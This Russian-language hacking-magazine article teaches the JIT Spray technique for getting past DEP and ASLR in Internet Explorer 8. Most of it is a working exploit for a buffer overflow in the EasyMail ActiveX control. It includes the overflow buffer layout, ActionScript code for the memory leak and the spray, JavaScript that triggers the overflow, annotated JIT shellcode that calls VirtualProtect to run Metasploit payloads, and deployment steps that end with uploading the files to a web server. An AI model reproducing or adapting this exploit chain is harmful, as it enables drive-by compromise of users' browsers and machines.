Содержание статьи
Сегодня мы разберемся с новейшей методикой преодоления hardware DEP и ASLR для IE8 — JIT Spray. Разработаем простой прототип эксплойта, а также свой собственный JIT-шеллкод, который, к тому же, окажется первым публично-доступным шеллкодом для таких целей.
Как все начиналось
До недавнего времени считалось, что ASLR+DEP и браузер IE8 — неприступная крепость. Знаменитый эксплойт Aurora, который применялся для атак на Google, использовал узявимости браузера IE, но работал только под IE6/IE7. Однако исследователи не собирались мириться с этим, и в начале февраля 2010 года на конференции BlackHat DC 2010 были представлены техники, которые успешно обходят ASLR, DEP и работают с IE8. К сожалению, исследователи многое скрыли, в частности не открыли ни полноценных примеров шеллкода, ни полных исходных кодов. Но их материала достаточно, чтобы любой продвинутый человек мог собрать свой эксплойт. Так Immunity в своём платном продукте Canvas реализовала эти техники для знаменитого эксплойта Aurora и теперь он успешно работает для IE8 под Windows 7. Уверен, что многие ОченьЧерные-Шляпы, также приняли на вооружение эти методы для своих грязных целей. Так что будем все реализовывать самостоятельно.
Previously on ][
В прошлых номерах ][, я рассказывал как искать уязвимости, писать свои эксплойты и даже обходить hardware DEP. Эта статья будет заключением трилогии об атаках на браузеры. В качестве примера уязвимости я возьму тот же компонент ActiveX, что и в предыдущих своих статьях — мне кажется, что это будет крайне показательно. Напомню, что мы используем ActiveX emsmtp.dll из пакета QuikSoft EasyMail. В данном объекте есть несколько уязвимых функций — мы используем SubmitToExpress(). Если передать в качестве аргумента строку длиной более 256 байт, то произойдёт переполнение буфера в стеке, при этом мы захватываем регистр ESI, адрес возврата и дескриптор SEH.
cccc…260…ccccAAAAffffBBBBfffffffff
fffffffffffffffffffffffDDDD
ESI = AAAA
RET = BBBB
SEH = DDDD
IE8 — ХАКЕРЫ НЕ ПРОЙДУТ!
Поставим свежий IE8 и включим hardware DEP. Теперь мы должны чувствовать себя в полной безопасности. Попробуем запустить эксплойт из предыдущего номера, который отключает DEP для процесса iexplore. Нас ждет моментальное разочарование — Heap Spray больше не работает. Просто вот так вот. Но не нужно слез, ведь работать с кучей может не только IE.
У нас же есть Flash, и он весьма неплохо умеет работать с кучей.
Однако, этого мало. Возникает вторая проблема — нельзя отключить DEP для процесса. Дело в том, что IE8 использует permanent DEP. То есть процесс сам устанавливает себе DEP с помощью вызова функции SetProcessDEPPolicy, которая в свою очередь вызывает NtSetInformationProcess. Наш эксплойт аналогично пытается отключить DEP. Но повторный вызов NtSetInformationProcess будет завершен неудачей — Access Denied.
Добавим сюда ещё и защиту ASLR, то есть тот факт, что адреса функций в памяти нам неизвестны. Задача усложняется ещё в 256 раз.
JIT SPRAY спешит на помощь
Мир не без добрых людей. Один из них — Дионис Блазакис (Dionysus Blazakis) пришел на конференцию BlackHat DC 2010 и рассказал, как он обошел защиту DEP и ASLR и таки добился выполнения своего шеллкода в контексте IE8. После этого рассказа он выложил на своем веб-сайте документ, который подробно описывает, как этого добиться. Что ж, попробуем разобраться… Итак, вопрос номер один — как обойти permanent DEP? Дион предлагает воспользоваться любым JIT-компилятором, которых в браузере достаточно. Сам он активно пропагандирует JIT-компилятор для байткода ActionScript. Суть идеи следующая — мы пишем AS код, компилируем его в байткод и засовываем в SWF-файл. Flash грузит этот файл, а встроенная виртуальная машина переделывает байткод в исполнимый код и помещает его в памяти процесса IE8. Естественно, область памяти, где лежит код, помечена как исполняемая. Ведь Flash должен выполнить тот код, что программист написал. Если хакер в качестве адреса возврата укажет адрес этой области памяти, то код спокойно выполнится. Однако, код этот безобидный. В ActionScript нет «злых» функций, вроде «открыть сетевой порт и перенаправить ввод с него на «cmd.exe»». А хакера только такие задачи и интересуют.
Итак, допустим у нас есть код на ActionScript’e
var ret=(0x3C909090^0x3C909090^0x3C909090^0x
3C909090^ …);
В памяти он будет выглядеть уже так:
0x1A1A0100: 359090903C XOR EAX, 3C909090
0x1A1A0105: 359090903C XOR EAX, 3C909090
0x1A1A010A: 359090903C XOR EAX, 3C909090
0x1A1A010F: 359090903C XOR EAX, 3C909090
Узнаёшь? 0x35 — это команда XOR EAX, а дальше аргумент — задом наперед.
А если адрес возврата будет указывать не на самое начало кода, а, допустим, сдвинется на один байт, тогда исполняемый код станет таким:
0x1A1A0101: 90 NOP
0x1A1A0102: 90 NOP
0x1A1A0103: 90 NOP
0x1A1A0104: 3C35 CMP AL, 35
0x1A1A0106: 90 NOP
0x1A1A0107: 90 NOP
0x1A1A0108: 90 NOP
0x1A1A0109: 3C35 CMP, AL 35
0x3C — то, что было у нас аргументом, после сдвига станет CMP AL. При этом, аргумент для сравнения — наш бывший XOR EAX — 0x35. Таким образом, легальный XOR съедается, и идут только операторы NOP’ы и сравнения, что есть тоже семантический NOP в данном контексте. Вот так мы можем писать почти любой код, используя лишь аргументы «исключающего или» в ActionScript’е. Можно сюда просто запихивать шеллкод.
Но ведь мы не знаем адрес, где будет этот блок памяти с исполняемым кодом. Откуда нам знать, куда Flash его запихнёт? А если ещё и ASLR, тогда вообще не о чем говорить. Но Дион предложил два варианта. Во-первых, можно открыть очень много файлов с JIT-шеллкодом, тогда получится аналог HeapSpray. Мы заполним память нашим кодом, и тогда угадать адрес станет очень легко. Даже если используется ASLR, остается вероятность угадывания. Этот вариант практически 100% надежен на Windows XP SP3 и малонадежен, но работоспособен на Windows 7. Во-вторых, можно воспользоваться утечками памяти в ActionScript’е для определения реального адреса в памяти. Так как у меня XP SP3, то подробно расскажу лишь о первом способе. Тем не менее, второй способ мы также будем использовать, но немного для других целей. Добавлю ещё, что Дион для работы использовал компилятор Tamarin (входит в состав Flex SDK), я же использовал компилятор из набора SWFTOOLS.
Шеллкод
Определим для начала, что мы хотим от шеллкода: чтобы он был универсален, чтобы можно было использовать шеллкоды из MetaSploit, например. Но это не совсем тривиальная задача. В JIT-шеллкоде нужно маскировать XOR EAX. У нас для работы только три байта аргумента. Четвертый байт должен маскировать XOR. Поэтому придётся разрабатывать собственный. В интернете материала об этом не было и нет ни одного примера, да и сам Дионис ничем, кроме теории, не поделился. Будем делать все сами. Логика, описанная Дионом:
- Переносим любой шеллкод (например, из MetaSploit) в строку ActionScript.
- Через утечку памяти узнаем указатель на адрес строки с шеллкодом.
- Выполняем JIT-Spray. Внедряем в память JIT шеллкод.
- Передаем управление на шеллкод из JIT-Spray.
- JIT шеллкод ищет адрес VirtualProtect.
- JIT шеллкод с помощью VirtualProtect делает область памяти со строкой исполняемой.
- JIT шеллкод передаёт управление на память со строкой, в которой у нас шеллкод из MetaSploit.
Перенос шеллкода из Метасплойта в строку ActionScript. Это просто, действуем по аналогии с HeapSpray. Так, например, последовательность опкодов “\x11\x22\x33\ x44”, в формате строки AS будет выглядеть как: “\u2211\ u4433”. Для удобства я написал небольшой скрипт (ищи на диске), который собирает из обычного шеллкода в формате строки perl шеллкод в формате строки AS. Теперь нам надо вычислить указатель этой строки, чтобы потом JIT-шеллкод сделал память, где лежит эта строка, исполняемой. Дионис нашел способ получения адреса строки в памяти через утечку из объекта класса Dictionary. Класс Dictionary позволяет задавать пару значение-ключ, где в роли ключа может быть любой объект. Например:
var dict = new Dictionary();
var key = "key";
dict[key] = "Value1";
dict["key"] = "Value2";
О типах объектов и их представлении в памяти (атомах) можно подробно почитать в статье Диониса, я же кратко вынесу суть. В данном примере, key — строка. Строка представляет собой сущность длиной в 32 бита, где первые 3 бита описывают тип, следующие 29 бит — указатель на значение строки.
Числа же хранятся не по указателю. Если тип Integer, то 29 бит — значение числа, а первые 3 бита — также тип атома. Так в ActionScript понимаются данные, если упрощенно. При использовании Dictionary, ключ хешируется, и если таблица для значений хеширования достаточно большая, то в результате большая часть исходного значения останется неизменной. Если в качестве ключа используется число, то для хеширования используется его значение, а вот если объект или строка, то адрес. Осталось получить его значение. Соберем два объекта класса Dictionary и заполним первый объект четными числами, второй — нечетными. Затем в каждый из объектов засунем строку с шеллкодом в качестве индекса (значение не имеет значения :)).
var shellcode="shellcode";
var even = new Dictionary();
var odd = new Dictionary();
//Заполняем
for (i = 0; i < (1024 * 1024 * 8);
i += 1) {
even[i * 2] = i;
odd[i * 2 + 1] = i;
}
//Заносим строку
even[shellcode] = 1;
odd[shellcode] = 1;
Затем переберем каждый объект, сохраняя предыдущий индекс, пока не найдём строку.
for (curr in even) {
//перебор ключей
if (curr == shellcode)
{ break; } //нашли строку
evenPrev = curr;
}
for (curr in odd) {
if (curr == shellcode)
{ break; }
oddPrev = curr;
}
Алгоритм работы Dictionary позволяет нам по значению индексов, идущих перед размещением строки, вычислить адрес строки. Использование двух объектов позволяет избежать коллизии, кроме того, эти числа должны отличаться на 17 — это будет говорить нам, что все прошло правильно (все это связано с работой хеширования значения атомов и поиска места в таблице для хранения пары ключ-значение). Это и многое другое ты можешь более детально узнать в той же статье Диониса.
//ptr — указатель на адрес строки с шеллкодом
if (evenPrev < oddPrev) {
ptr = evenPrev;
if (evenPrev+8+9 != oddPrev)
{ //проверка
return 0;
}
} else {
ptr = oddPrev;
if (oddPrev+8+9 != evenPrev) {
return 0;
}
}
ptr = (ptr + 1) * 8;//Возвращаем
3 бита и делаем сдвиг на 8:
(ptr<<3)+8
Теперь, если к этому значению добавить ещё 12, то это будет указатель на адрес строки.
Время JIT Spray! Для того чтобы это выполнить, достаточно открыть множество SWF файлов. При этом первый файл загрузится, а остальные из кэша браузера пойдут. Тем не менее, надо помнить, что Flash ставит ограничение на время работы скрипта. Обойти это можно, используя таймеры и события или интервал. После этого передаём управление в JavaScript с адресом строки.
function pageLoadEx(){
var ldr = new Loader();
var url = "jit_s0.swf";
// файл с JIT-шеллкодом
var urlReq = new
URLRequest(url);
ldr.load(urlReq);
childRef = addChild(ldr);
}
function pageLoad(){
for(var z=0;z<600;z++) {
pageLoadEx();
} //грузим 600 раз
ic=ic + 1;
MyTextField1.text=ic +
"- JIT spraying, wait for 4 ...";
if (ic == 4) {
//4 раза по 600 достаточно
clearInterval(ldInt);
MyTextField1.text = ic +
"- done, calling sploit...";
ExternalInterface.call(
"exploit", ptr);
//передаем управление
}
}
ldInt=setInterval(pageLoad,3500);
//запускаем процесс
Теперь надо сформировать переполнение буфера. Суть проста: переписываем адрес возврата на адрес с JIT-шеллкодом, а далее, используя переполнение, добавляем в стек адрес строки с основным шеллкодом. Но тут возможна проблема: если адрес с JIT можно выбрать так, чтобы не было нулевых байтов или байтов не из ASCII-строки, то адрес основного шеллкода уже не выбрать никак. Я придумал костыль, который поможет запихнуть адрес в стек — используем избыточность. Разобьем четырехбайтный адрес на два. К примеру, у нас адрес 0x01FF001A. Второй и третий байт не проходят. Делаем из него два адреса: 0x606F6061
и 0x616F606A
.
Переворачиваем последовательность и заносим в строку. Значения [0x60..0x6F] легко передаются. JIT шеллкод восстановит оригинальный адрес по формуле ((0x606F60610x60606060)<<4)+(0x616F606A-0x60606060)= 0x01FF001A
. Кроме того, исследуемая нами функция перескакивает ещё 8 байт после возврата, так как использует оператор retn 8. Для того чтобы учесть это, заполним буфер так:
cccc…260…ccccAAAAffffBBBBCCCCCCCCCCCCDDDDDDDDDDDD
-
ESI = AAAA
— указатель на 0, так же есть в JIT-spray блоке RET = BBBB
— указатель на JIT шеллкодСССС
— старшие байты указателяDDDD
— младшие байты указателя
В таком случае мы учитываем 3 варианта исхода: retn, retn 4 и retn 8.
Шеллкод возьмет старшее значение, потом сдвинется в стеке на 12 байт и возьмет младшее. Осталось определить сам адрес возврата. Мои наблюдения показали, что если SWF файл с JIT-шеллкодом будет достаточно объемным, то расстояние между блоками будет слишком большим и есть значительная вероятность не угадать адрес. Чтобы блоки росли с одинаковым инкрементом, который можно предсказать, нужно соблюдать размер выделяемой памяти в пределах 0x1000 байт.
Тогда каждый исполняемый блок будет отличаться от предыдущего ровно на 0x010000 байт. Причем размер блока будет 0x1000 байт, после этого блока следуют неисполняемые блоки памяти. Дальнейшее зависит от ASLR, загруженности процесса и количества загружаемых блоков. В нашем примере идеальный адрес возврата есть 0x1A1A0101. Хотя блок начинается с 0x1A1A0000, мы указываем сдвиг, так как сначала идет кусок вводного кода, а затем наш JIT-шеллкод. После шеллкода идет выводной код Flash, остальное забито нулями. В итоге:
var buf="";
//Число в 16-ну строку
function decimalToHex(d,l,rad) {
var hex = Number(d).toString(rad);
while (hex.length < l) {
hex = "0" + hex;
}
return hex;
}
function exploit2(targetValue){
var bf=unescape("%63");
// сссссс...260...cccccc
var value=targetValue;
value=decimalToHex(value,8,16);
// Разбиваем адрес на две
четырехбайтные строки
var h11="%6"+value.substring(0,1);
var h12="%6"+value.substring(1,2);
var h21="%6"+value.substring(2,3);
var h22="%6"+value.substring(3,4);
var h31="%6"+value.substring(4,5);
var h32="%6"+value.substring(5,6);
var h41="%6"+value.substring(6,7);
var h42="%6"+value.substring(7,8);
// Две строки
var high=h41+h31+h21+h11;
var low =h42+h32+h22+h12;
// Буфер
while (buf.length<260) buf=buf+bf;
buf+=unescape("%0a%0a%1a%1a");
// ESI — указатель на 0
buf+="ffff"+unescape("%01%01%1a%1a");
// Адрес возврата = 0x1A1A0101 JIT шеллкод
buf+=unescape(high); //if ret
buf+=unescape(high); //if ret 4
buf+=unescape(high); //if ret 8 (в
emsmtp.dll - ret 8)
buf+=unescape(low);
buf+=unescape(low);
buf+=unescape(low);
alert('Try me on 0x' + decimalToH
ex(targetValue,8,16)+' :-)');
vuln.SubmitToExpress(buf); //атака
}
//Вызываем это из Флэша
function exploit(targetValue) {
setTimeout('exploit2('+targetValue+')',5000);
//капельку подождем
}
JIT-SPRAY шеллкод
Вернемся к собственно JIT-шеллкоду. Когда я начал над ним работать, всплыло как минимум три основных подводных камня.
1. Старший байт не может быть больше 0x7F. Иначе получается слишком большое число и, чтобы обработать его, в нашу XOR строку добавляется ненужный код, который все испортит. Поэтому мы можем использовать значения от 0x00 до 0x7F.
2. Если в нашем шеллкоде будет сравнение, а потом оператор условного перехода (JNE/JE, например), то надо держать Z флаг неизменным после сравнения и до оператора перехода. Но ведь мы можем вводить команды только группой по три байта, а затем маскировать XOR. А XOR мы маскируем оператором CMP, что, естественно, не способствует сохранности Z флага. Чтобы решить эту проблему, нам нужно найти оператор с размером аргумента в один байт (значение XOR), да так, чтобы он не влиял на Z флаг и не переходил границ 0x7F значением опкода. ADD, SUB, XOR, OR, AND и т.д. — все это не подходит. Если в результате выполнения операции регистр AL станет 0, то установится Z флаг. В итоге, единственной подходящей командой оказалась команда PUSH — 0x6A. Тогда пример сравнения и перехода будет выглядеть так:
0x1A1A0110: 803F6E CMP [EDI], 'n'
0x1A1A0113: 6A35 PUSH 35
0x1A1A0115: 75EF jnz short
3. Мы не можем работать полноценно с четырехбайтными значениями. К примеру, сделать PUSH 0xA1B1C3C4. Ведь для этого нам надо 5 контролируемых подряд байт, и ещё 6 байт для маскировки XOR, а у нас их только 3. Но эта проблема решается, если работать с регистром и его частями. Сначала 4 байта в регистр, причем второй младший байт будет XORом — 0x35. Затем меняем AL и AH.
0x1A1A0110: B80035B1A1 MOV EAX, 0xA1B13500
0x1A1A0115: 3C35 CMP AL, 35
0x1A1A0117: B063C4 MOV AL, C4
0x1A1A011a: 3C35 CMP AL, 35
0x1A1A011c: B163C3 MOV AH, C4
0x1A1A011F: 3C35 CMP AL, 35
0x1A1A0121: 50 PUSH EAX
Учитывая эти три особенности, можно написать почти любой шеллкод. Пишем тот, что задумали. Полная версия на диске, здесь приведены лишь ключевые моменты.
function funcXOR1()
{
var jit=(0x3c909090^0x3c909090^ .. // начнем с NOP
0x3c44ec83^ // 3583ec443c sub esp, 44 ; уходим от адреса подальше
0x3c90C033^ // 3533C0903c xor eax, eax
0x3c9030b0^ // 35b030903c mov AL, 30
0x3c008b64^ // 35648b003c mov eax, fs:[eax]
0x3c0c408b^ // 358b400c3c mov eax, fs:[eax+C]
0x3c1c408b^ // 358b401c3c mov eax, fs:[eax+1C]
0x3c08508b^ // 358b50083c NEXT: mov edx, [eax+08]
0x3c20788b^ // 358b78203c mov edi, [eax+20] ;имя модуля
0x3c90008b^ // 358b00903c mov eax, [eax]
0x6a6b3f80^ // 35803f6b6a cmp [edi], 'k' ;Первая буква k? "kern"
0x3c90eA75^ // 3575eA903c jnz short NEXT:
0x3c904747^ // 354747903c inc edi, inc edi ; два байта сдвиг — Unicode ж
… // и так далее остальные три буквы
… // Найдя модуль по имени и его базовый адрес
… // Получаем указатели на таблицы с именами и адресами функций
0x3cb89090^ // 359090b83c mov eax, 3c ..
0x3c900000^ // 350000903c 3500000
0x3c9063b0^ // 35b063903c mov ah, 'c'
0x3c5074b4^ // 35b474503c mov al, 't' and push –"ct\0\0"
// заносим в стек по 4 байта "Virt ualP rote ct\0\0"
// затем ищем в списке имен данное имя, как нашли имя, смотрим с этим же индексом адрес функции, получаем …
0x3c5cc483^ // 3583c45c3c add esp, 5c ; Возвращаемся к адресу шеллкода
0x3c909058^ // 355890903c pop eax ; получаем старшие байты
0x3c08c483^ // 3583c4083c add esp, 08 ;сдвигаемся к младшему адресу
0x3cb9905a^ // 355a90b93c pop edx ; получаем младшие значения
0x3c906060^ // 356060903c
0x3c9060b1^ // 35b160903c
0x3c9060b5^ // 35b560903c заносим в регистр ecx 0x60606060
0x3c90c12b^ // 352bc1903c sub eax, ecx
0x3c90d12b^ // 352bd1903c sub edx, ecx ;младшие восстановили
0x3c04e0c1^ // 35c1e0043c shl eax, 4 ; теперь старшие
0x3c90c203^ // 3503c2903c add eax,edx ; ну и весь адрес
0x3c90388b^ // 358b38903c mov edi, [eax] ; получаем по указателю адрес шеллкода
0x3c08c783^ // 3583c7083c add edi, 8 ; сдвигаемся на 8 байт
0x3c406a54^ // 35546a403c push esp and push 40 ; подготавливаем параметры. 0x40 — разрешить на чтение, запись и исполнение
0x3c90016a^ // 356a01903c push 01 ; размер не имеет значения
0x3cd3ff57^ // 3557ffd33c вызываем функцию
0x3c90e7ff); // и финальный прыжок на основной шеллкод, уже исполняемый
}
function Loadzz2(){ var ret1 = funcXOR1();}
В комментариях ищи основной смысл, в опкодах же присутствует ещё выравнивание NOP’ами и маскирование XOR’ов. Конечно, данный шеллкод можно вписать в меньшие размеры, но в данном случае значения это не имеет, главное — не набрать кода больше чем 0x1000 = 4000 байт. Наш шеллкод имеет размер около 800 байт, включая NOP’ы, XOR’ы и выравнивания Так что места ещё много. Вот такая история. На диске ты найдешь примеры других шеллкодов и пример эксплойта. К сожалению, мы не успели рассмотреть вариант с точным вычислением адреса JIT шеллкода, тем не менее, и данный вариант будет работать. На диске есть набор для генерации всего что понадобится для обхода защиты DEP в IE8, и вдобавок видео, как этим пользоваться. Вкратце суть следующая:
- Находим уязвимость.
- Генерируем в метасплойте шеллкод в формате perl.
- Сохраняем его, меня модификатор 'my' на 'our'.
- Генерируем AS файл: perl shellcodegen.pl shellcode_file > jit-spray.as
- Генерируем SWF файл: as3compiler –X 320 –Y 300 –M Loadzz1 jitspray.as
- Собираем эксплойт, используя функции из статьи. Так, чтобы после адреса возврата находился адрес, передаваемый через Flash.
- Закачиваем HTML и SWF на WEB сервер.
Пожалуй, на этом трилогия про атаки на браузеры через ActiveX закончена. Надо заметить, что описанный здесь метод применим не только к IE8, но и к другим браузерам. Аналогичный метод может использоваться в PDF файлах.
Links
- HeapSpray с помощью Flash: roeehay.blogspot.com/2009/08/exploitation-ofcve2009-1869.html
- Исследования Диониса: semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf
- Пишем шеллкод для JIT-SPRAY атак: dsecrg.com/pages/pub/show.php?id=22